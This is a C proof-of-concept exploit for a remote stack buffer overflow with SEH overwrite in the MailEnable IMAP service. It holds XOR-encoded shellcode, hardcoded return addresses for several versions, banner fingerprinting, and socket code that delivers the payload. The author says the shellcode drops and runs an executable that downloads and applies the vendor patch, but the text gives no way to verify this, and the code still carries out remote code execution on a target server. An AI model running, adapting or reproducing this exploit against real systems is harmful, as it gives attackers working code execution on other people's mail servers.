/*
MailEnable W3C Logging Remote Buffer Overflow Proof of Concept

This is a pretty standard stack overflow with a SE handler overwrite.
The buffer used provides quite a bit of room for shellcode, so I've decided
to construct a shellcode that as far as I know hasn't been made. The 
shellcode provided will transport a 1008 byte win32 PE executable file. The shellcode
will then save it to disk, run the executable, and close the server. The 
executable will serve as a small patching tool, which will download the
patch provided by mailenable.com,unzip it, restart the service, and copy 
the patched exe. This shellcode will eliminate the very hole it used to gain
access. The old server executable will not be deleted, merely renamed to 
_MEIMAPS.exe. 

For those paranoid individuals who cannot read C code, YOUR-Address can be
anything as long as the length is the same as the real IP. If your IP is 
192.168.0.1, then 111.222.3.4 will work fine. We're only using it to 
calculate the length of the buffer for stack alignment. As you can see,
there is no call home code here :)

If you have any questions about this exploit, or how you may use it on 
your network to quickly patch your Mail Enable installations, please feel free to e-mail us
at advisory@wirecom.org
*/

#include <stdio.h>
#include <string.h>
#include <winsock.h>

#pragma comment(lib,"ws2_32")

long gimmeip(char *hostname);
void makeSpaceTaker(char *buff, int len);
char buffer[7300];
//Simple XOR'd 2-stage shellcode
//Some parts of this shellcode were taken from vlad902's toolset.
//Saves omg.exe to disk and runs.
char patchshell[]=
"\xEB\x17\x31\xC0\x66\xB8\x02\x05\x8B\x34"
"\x24\x66\x81\x36\x1E\x17\x83\xC6\x02\x83"
"\xE8\x02\x75\xF3\xC3\xE8\xE4\xFF\xFF\xFF"
"\xE2\xFF\xFB\x17\x1E\x17\x48\x9C\x5B\x2B"
"\x95\x6B\x1B\x6F\x1F\xF8\x95\x58\x06\x9C"
"\x41\x37\x1F\xFC\xFD\x39\x57\x9C\x2A\x9C"
"\x1F\xF9\x2F\xD7\x87\xBB\x9A\xD7\x6A\x10"
"\xDF\xDD\x13\x16\xDC\xFC\xEA\x2C\x4A\x33"
"\x16\x62\xFD\x9C\x41\x33\x1F\xFC\x78\x9C"
"\x12\x5C\x95\x48\x02\x16\xF5\x9C\x02\x9C"
"\x1F\xFC\x40\xD4\x76\x61\x73\xA7\x5B\xE8"
"\xC8\x43\x41\x41\x76\x17\x1F\x17\x1E\x40"
"\x76\x17\x1E\x17\x1E\xE8\xCD\x49\x1F\xF7"
"\x56\x97\x26\x4B\x6B\xED\xD8\x17\x1E\x7F"
"\x51\x14\xD9\xA8\xE1\xC1\x44\x43\xE1\xC4"
"\x76\xB2\x09\x17\x62\xE8\xC8\x7F\x7B\x6F"
"\x7B\x17\x76\x78\x73\x70\x30\x9E\xFF\x41"
"\x74\x17\x74\x17\x74\x13\x74\x17\x74\x17"
"\x74\x15\x4F\xE8\xCD\x49\x4E\x7F\x01\x6E"
"\x14\xFF\xE1\xC1\x46\x4F\x48\x47\x74\x17"
"\xF5\x4B\x44\x45\x76\xE7\x1D\x17\x1E\x96"
"\xDC\x13\x1E\x17\x1E\x45\x4E\xE8\xCD\x7F"
"\xE5\x80\xE3\x18\xE1\xC1\x46\x4F\x48\x47"
"\xE1\xC4\x40\x7F\x60\xCF\xFC\x64\xE1\xC1"
"\x97\x0B\x3A\x7F\x86\xE9\x94\x19\xE1\xC1"
"\x47\x9E\xFF\x96\xDF\x1F\x1E\x17\x1E\x7D"
"\x1E\x46\xE1\xC4\xDD\x26\xE8\x73\x95\x61"
"\x06\xBA\xB3\x9C\x76\xF3\x53\x71\x2F\xFA"
"\x78\x96\x63\x17\x53\x4D\x6B\xE3\x40\xFE"
"\x5C\xE8\xE1\xE8\xF6\x88\xE1\xE8\xE1\x56"
"\x5C\x54\x5A\x5A\x44\x87\x1E\x14\x1E\x17"
"\x1E\x13\x1E\x17\x1E\xE8\xE1\x17\x1E\xAF"
"\x1E\x17\x1E\x17\x1E\x17\x1E\x57\x1E\x17"
"\x1E\x17\x1E\x17\x1E\x17\x1E\x17\x1E\x17"
"\x1E\x17\x1E\x17\x1E\x17\x1E\x17\x1E\x17"
"\x1E\x17\x1E\x17\x1E\x17\x1E\x17\x1E\x17"
"\x1E\x17\x1E\x97\x1E\x17\x1E\x19\x01\xAD"
"\x10\x17\xAA\x1E\xD3\x36\xA6\x16\x52\xDA"
"\x3F\x43\x76\x7E\x6D\x37\x6E\x65\x71\x70"
"\x6C\x76\x73\x37\x7D\x76\x70\x79\x71\x63"
"\x3E\x75\x7B\x37\x6C\x62\x70\x37\x77\x79"
"\x3E\x53\x51\x44\x3E\x7A\x71\x73\x7B\x39"
"\x13\x1A\x14\x33\x1E\x17\x1E\x17\x1E\x17"
"\x1E\x47\x5B\x17\x1E\x5B\x1F\x16\x1E\xCF"
"\x35\x2D\x5D\x17\x1E\x17\x1E\x17\x1E\x17"
"\x1E\xF7\x1E\x18\x1F\x1C\x1F\x15\x2C\x47"
"\x1C\x17\x1E\x17\x1E\x17\x1E\x17\x1E\x17"
"\x1E\x57\x1C\x17\x1E\xB7\x1F\x17\x1E\x17"
"\x1E\x17\x1E\x17\x1E\x57\x1E\x07\x1E\x17"
"\x1E\x07\x1E\x17\x1E\x13\x1E\x17\x1E\x17"
"\x1E\x17\x1E\x13\x1E\x17\x1E\x17\x1E\x17"
"\x1E\xE7\x1D\x17\x1E\xB7\x1F\x17\x1E\x17"
"\x1E\x17\x1E\x14\x1E\x17\x1E\x17\x1E\x07"
"\x1E\x17\x0E\x17\x1E\x17\x1E\x07\x1E\x17"
"\x0E\x17\x1E\x17\x1E\x17\x1E\x07\x1E\x17"
"\x1E\x17\x1E\x17\x1E\x17\x1E\x17\x1E\x0F"
"\x1D\x17\x1E\x3F\x1E\x17\x1E\x17\x1E\x17"
"\x1E\x17\x1E\x17\x1E\x17\x1E\x17\x1E\x17"
"\x1E\x17\x1E\x17\x1E\x17\x1E\x17\x1E\x17"
"\x1E\x17\x1E\x17\x1E\x17\x1E\x17\x1E\x17"
"\x1E\x17\x1E\x17\x1E\x17\x1E\x17\x1E\x17"
"\x1E\x17\x1E\x17\x1E\x17\x1E\x17\x1E\x17"
"\x1E\x17\x1E\x17\x1E\x17\x1E\x17\x1E\x17"
"\x1E\x17\x1E\x17\x1E\x17\x1E\x17\x1E\x17"
"\x1E\x17\x1E\x17\x1E\x17\x1E\x77\x1D\x17"
"\x1E\x37\x1E\x17\x1E\x17\x1E\x17\x1E\x17"
"\x1E\x17\x1E\x17\x1E\x17\x1E\x17\x1E\x17"
"\x1E\x17\x1E\x17\x1E\x17\x1E\x17\x1E\x39"
"\x6A\x72\x66\x63\x1E\x17\x1E\x5F\x1C\x17"
"\x1E\xB7\x1F\x17\x1E\x47\x1C\x17\x1E\xB7"
"\x1F\x17\x1E\x17\x1E\x17\x1E\x17\x1E\x17"
"\x1E\x17\x1E\x17\x1E\x37\x1E\x17\xFE\x7F"
"\x6A\x63\x6E\x2D\x31\x38\x69\x60\x69\x39"
"\x73\x76\x77\x7B\x7B\x79\x7F\x75\x72\x72"
"\x30\x74\x71\x7A\x31\x7F\x71\x63\x78\x7E"
"\x66\x38\x53\x52\x57\x5A\x5F\x47\x4D\x3A"
"\x4B\x47\x5A\x27\x2B\x26\x2E\x27\x2D\x27"
"\x2E\x27\x2E\x39\x64\x7E\x6E\x17\x78\x63"
"\x6E\x2D\x31\x38\x78\x63\x6E\x39\x6A\x7F"
"\x33\x64\x71\x71\x6A\x39\x7D\x78\x73\x38"
"\x4B\x59\x44\x5E\x4E\x39\x5B\x4F\x5B\x17"
"\x4B\x45\x52\x53\x71\x60\x70\x7B\x71\x76"
"\x7A\x43\x71\x51\x77\x7B\x7B\x56\x1E\x48"
"\x53\x52\x57\x5A\x5F\x47\x4D\x39\x5B\x4F"
"\x5B\x17\x70\x72\x6A\x37\x6D\x63\x7F\x65"
"\x6A\x37\x53\x52\x57\x5A\x5F\x47\x4D\x17"
"\x4B\x65\x72\x7A\x71\x79\x30\x73\x72\x7B"
"\x1E\x17\x1E\x17\x1E\x17\x1E\x17\x1E\x7F"
"\x0E\x30\x1E\x17\xF6\xB5\x1E\x17\x1E\x7F"
"\x33\x15\x5E\x17\xF6\x89\x1E\x17\x1E\xB4"
"\x26\x15\x5E\x17\x76\xEC\x1F\x57\x1E\xE8"
"\x2B\x2F\x1C\x57\x1E\xFF\x91\x17\x1E\x17"
"\xBD\x2B\x1C\x57\x1E\x7D\x1E\x7D\x1E\x7F"
"\xEF\x16\x5E\x17\x76\xCC\x1F\x57\x1E\x7D"
"\x1E\xE8\x0B\x2B\x1C\x57\x1E\x7D\x1E\x7D"
"\x1E\x7F\xCF\x16\x5E\x17\x76\xB7\x1F\x57"
"\x1E\x7D\x1E\xE8\x0B\x2B\x1C\x57\x1E\x7F"
"\x10\x15\x5E\x17\x76\x18\x1C\x57\x1E\xFF"
"\x4B\x17\x1E\x17\x76\xE6\x1F\x57\x1E\x7F"
"\xDA\x16\x5E\x17\xF6\x5B\x1E\x17\x1E\xD0"
"\x1B\xDA\x1F\x57\x1E\x37\x33\x78\x3E\x7D"
"\x1E\x7F\xDA\x16\x5E\x17\xF6\x2B\x1E\x17"
"\x1E\x7F\x0E\x30\x1E\x17\xF6\x03\x1E\x17"
"\x1E\x7D\x1E\x7F\x05\x15\x5E\x17\xF6\x31"
"\x1E\x17\x1E\x7D\x1E\xFF\x3B\x17\x1E\x17"
"\xD2\xE8\x3B\x77\x1D\x57\x1E\xE8\x3B\x73"
"\x1D\x57\x1E\xE8\x3B\x7F\x1D\x57\x1E\xE8"
"\x3B\x7B\x1D\x57\x1E\xE8\x3B\x67\x1D\x57"
"\x1E\xE8\x3B\x63\x1D\x57\x1E\xE8\x3B\x6F"
"\x1D\x57\x1E\xDB\xD2\x57\x1D\x17\x1E\x17"
"\x1E\x17\x1E\x17\x1E\x17\x1E\xCD\x1D\x17"
"\x1E\x77\x1D\x17\x1E\x17\x1E\x17\x1E\x17"
"\x1E\x17\x1E\x17\x1E\x17\x1E\x17\x1E\x17"
"\x1E\x17\x1E\x17\x1E\x97\x1D\x17\x1E\x9F"
"\x1D\x17\x1E\x8F\x1D\x17\x1E\xBD\x1D\x17"
"\x1E\xA1\x1D\x17\x1E\xD5\x1D\x17\x1E\xDB"
"\x1D\x17\x1E\x17\x1E\x17\x1E\x97\x1D\x17"
"\x1E\x9F\x1D\x17\x1E\x8F\x1D\x17\x1E\xBD"
"\x1D\x17\x1E\xA1\x1D\x17\x1E\xD5\x1D\x17"
"\x1E\xDB\x1D\x17\x1E\x17\x1E\x17\x1E\x64"
"\x1C\x44\x72\x72\x7B\x67\x1E\xBE\x1F\x5B"
"\x71\x76\x7A\x5B\x77\x75\x6C\x76\x6C\x6E"
"\x5F\x17\x1E\x3E\x1F\x50\x7B\x63\x4E\x65"
"\x71\x74\x5F\x73\x7A\x65\x7B\x64\x6D\x17"
"\x1E\xD3\x1F\x5A\x71\x61\x7B\x51\x77\x7B"
"\x7B\x56\x1E\xCB\x1C\x7B\x6D\x63\x6C\x74"
"\x6E\x6E\x5F\x17\x1E\xBA\x1C\x40\x77\x79"
"\x5B\x6F\x7B\x74\x1E\x62\x1E\x52\x66\x7E"
"\x6A\x47\x6C\x78\x7D\x72\x6D\x64\x1E\x5C"
"\x5B\x45\x50\x52\x52\x24\x2C\x39\x7A\x7B"
"\x72\x17\x1E\x17\x1E\x17\x1E\x17\x1E\x17"
"\x1E";

int main(int argc,char *argv[])
{     
    WSADATA wsaData;
    struct sockaddr_in targetTCP, checkTCP;
    int sockTCP;
    double version=0; //1.6 is latest, diff offset
    unsigned short port = 143,bport=80;
    long ip;
    int size=3556;
    char checkBuf[512];
    if(argc < 3)
    {
      printf("MailEnable Remote Stack Overflow.\n"
        "Usage: %s [YOUR-Address] [Target-address] <server_port>\n"
        " eg: mailenable.exe 65.21.86.48 216.256.0.1\n"
        "It Is IMPORTANT that YOUR-Address section is the Address the remote server is going to see (your public IP).\n"
        "If you are unsure of what your public IP is you can try www.whatismyip.com.\n",argv[0]);
      return 1;      
    }    
    if(argc==4)
      port = atoi(argv[3]);
    WSAStartup(0x0202, &wsaData);        
    printf("[*] Target:\t%s \tPort: %d\n",argv[2],port);
    ip=gimmeip(argv[2]);  
    targetTCP.sin_family = AF_INET;
    targetTCP.sin_addr.s_addr = ip;
    targetTCP.sin_port = htons(port);
        
    //check SMTP port version
    checkTCP.sin_family = AF_INET;
    checkTCP.sin_addr.s_addr = ip;
    checkTCP.sin_port = htons(25);
    printf("[*] Checking SMTP version..\n");
    if ((sockTCP = socket(AF_INET, SOCK_STREAM, 0)) == -1)
    {
      printf("[x] Socket not initialized! Exiting...\n");
      WSACleanup();
               return 1;
    }
    if(connect(sockTCP,(struct sockaddr *)&checkTCP, sizeof(checkTCP)) != 0)
    {
      printf("[*] Couldn't connect to SMTP to check version, assuming 1.54...\n");
      version = 1.6;
    }
    else
    {
      if(recv(sockTCP,checkBuf,sizeof(checkBuf),0))
      {
        //first check if it's mailenable
        if(strstr(checkBuf,"MailEnable"))
        { //it is, get version
          if(strstr(checkBuf,"1.54"))
          {
            printf("[*] Version 1.54 detected..\n");
            version = 1.54;
          }
          if(strstr(checkBuf,"1.6"))
          {
            printf("[*] Version 1.6 detected..\n");
            version = 1.6;
          }
          if(strstr(checkBuf,"1.04") ||strstr(checkBuf,"1.52")||strstr(checkBuf,"1.53") || strstr(checkBuf,"1.51"))
          {
              printf("[*] Version <1.54 detected..\n");
              version = 1.04;
          }
          if(version==0)
          {
            printf("[*] Version could not be determined. assuming 1.6\n");
            version=1.6;
          }
        }
        else
        {
          printf("[*] Erroneous banner recieved, assuming Version 1.6..\n");
          version = 1.6;
        }
      }
      else
      {
        printf("[*] Couldn't connect to SMTP to check version, assuming 1.6...\n");
        version = 1.6;
      }
    }
    //form buffer here
    memset(buffer,'\0',7300);
    strcpy(buffer,"a01 SELECT ");
    size += (30-(strlen(argv[1])*2)); //IP length sizing
    size += sizeof(patchshell)-1;
    //fill buffer
    makeSpaceTaker(buffer,size);
    strcat(buffer,patchshell);
    strcat(buffer,"\xeb\x06\xeb\x06"); //SE chain.. JMP over 
    if(version == 1.54)
    {
      strcat(buffer,"\x97\x6b\x01\x10"); //SE handler pop pop retn
      strcat(buffer,"\x90\x90\x90\xeb\x06\xeb"); //more jumping
      strcat(buffer,"\x97\x6b\x01\x10"); //SE handler pop pop retn
    } 
    if(version == 1.6)
    {
      strcat(buffer,"\x77\x7A\x01\x10"); //SE handler pop pop retn
      strcat(buffer,"\x90\x90\x90\xeb\x06\xeb"); //more jumping
      strcat(buffer,"\x77\x7A\x01\x10"); //SE handler pop pop retn
    }
    if(version == 1.04)
    {
      strcat(buffer,"\x27\x74\x01\x10"); //SE handler pop pop retn
      strcat(buffer,"\x90\x90\x90\xeb\x06\xeb"); //more jumping
      strcat(buffer,"\x27\x74\x01\x10"); //SE handler pop pop retn
    }
    strcat(buffer,"\x90\x90\x90\xE8\xC7\xFA\xFF\xFF"); //call backwards
    makeSpaceTaker(buffer+strlen(buffer),640);
    strcat(buffer,"\r\n");
    //connect and overflow    
    if ((sockTCP = socket(AF_INET, SOCK_STREAM, 0)) == -1)
    {
        printf("[x] Socket not initialized! Exiting...\n");
        WSACleanup();
                return 1;
    }
    printf("[*] Socket initialized...\n");          
    if(connect(sockTCP,(struct sockaddr *)&targetTCP, sizeof(targetTCP)) != 0)
    {
      printf("[*] Connection to host failed! Exiting...\n");
      WSACleanup();
      exit(1);
    } 
    printf("[*] Sending  buffer.\n");
    if(send(sockTCP,"a01 LOGIN patching mailserv\r\n",29,0) == -1)
    {
        printf("[x] Failed to inject packet! Exiting...\n");
        WSACleanup();
                return 1;
    }    
    Sleep(1000);
    if (send(sockTCP, buffer, strlen(buffer),0) == -1)
    {
        printf("[x] Failed to inject packet! Exiting...\n");
        WSACleanup();
                return 1;
    }    
    Sleep(500);
    closesocket(sockTCP);
    printf("[*] Payload sent. If vulnerable, the box should now be patched.\n");
    WSACleanup();
    return 0;
}

//Simple ip/hostname resolver taken from some random website
long gimmeip(char *hostname) 
{
  struct hostent *he;
  long ipaddr;
  
  if ((ipaddr = inet_addr(hostname)) < 0) 
  {
    if ((he = gethostbyname(hostname)) == NULL) 
    {
      printf("[x] Failed to resolve host: %s! Exiting...\n\n",hostname);
      WSACleanup();
      exit(1);
    }
    memcpy(&ipaddr, he->h_addr, he->h_length);
  }  
  return ipaddr;
}
//More interesting then memset :)
void makeSpaceTaker(char *buffer,int len)
{
  char fake[]="Patching_MailEnable_W3C_Logging_Buffer_Overflow_Vulnerability_";
  int cnt=0; //cnt amt written
  while(cnt <= len)
  {
    strcat(buffer,fake); //I know, but it's a big buffer
    cnt += strlen(fake);
  }
  memset(buffer+len+1,'\0',strlen(fake)); //null end and correct size
  
}